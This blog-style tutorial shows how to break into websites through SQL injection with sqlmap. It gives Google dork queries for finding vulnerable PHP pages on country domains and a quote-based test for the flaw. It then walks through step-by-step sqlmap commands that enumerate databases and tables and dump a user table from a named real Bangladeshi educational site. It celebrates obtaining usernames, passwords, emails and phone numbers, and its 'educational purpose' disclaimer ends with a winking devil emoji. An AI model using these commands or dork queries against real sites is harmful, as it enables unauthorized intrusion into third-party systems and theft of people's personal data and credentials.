Hacking a website using SQL injection (Using SQL Map)

In this tutorial we will learn how easy it is to hack a website using SQL map script. 💻

The only required thing to conduct this attack is SQL map script. You can download that from:

http://sqlmap.org/

Before beginning the first thing we have to check is if the website is vulnerable for SQL injection attack or not. Here Google will be our friend. We can search the following in order to get websites to check the vulnerability for attack.

inurl:.php?id= site:.bd

We can use .bd to search for bangladesh websites, .pk for Pakisthani websites, .in for Indian websites etc.

In this I have taken a .bd website and I received the following outcome.

Lets open the first result and after the url put a ' and hit enter. If you get an error the website is vulnerable for SQL injection attack. For this website I got the error.

Lets begin the attack and navigate to the folder in which we have the SQL map script. If your script is on the desktop or Downloads you have to change the directory to start.

In my case it was on Desktop so the command will be as follows:

cd Desktop (to change the directory to desktop)

cd sqlmapproject-sqlmap-a42ec7d (to change it to script).

Step 1:

Now as we are in the correct directory and aware that the website is vulnerable we will check the database available. For that we will enter the following command:

python .\sqlmap.py -u "http://kyanc.edu.bd/page.php?id=10" --dbs

We used --dbs to check the database available.

Here we get the following response:

Here we received 2 available databases

[*] kyancedu_kydb

[*] information_schema

Step 2:

Now as we have the databases we can check the tables available in the databases by specifying the database name and requesting the tables name available using the following command:

 Lets check the first one and see the tables available in kyancedu_kydb. We will replace the --dbs with -D kyancedu_kydb which is our database name and add --tables to find the tables in this database.

Lets enter the command:

python .\sqlmap.py -u "http://kyanc.edu.bd/page.php?id=10" -D kyancedu_kydb --tables.

We got the following response:

Here we have got the tables name and now we will use some common sense and see where we can find the required information. It is usually stored in user or admin. 

Step 3:

Now as we have both database and table name, we will check the content in the tables by specifying the dbs and table info we got in the previous commands and request the dump by adding --dump in the command. Our command will look like this:

python .\sqlmap.py -u "http://kyanc.edu.bd/page.php?id=10" -D kyancedu_kydb -T user --dump

We will get the entries in the user table and will look like follows:

 Boom! We have the username, password, email , phone number etc.

😎✌ 😎✌ 😎✌ 😎✌ 😎✌ 😎✌ 😎✌ 😎✌ 😎✌ 😎✌

This attack is just for educational purpose and should not be misused, Its for people to know how easy it is for a hacker to get the details in few click in less than 2 minutes.

Learn the skill, Think twice and act wise 

Rest you know better  😈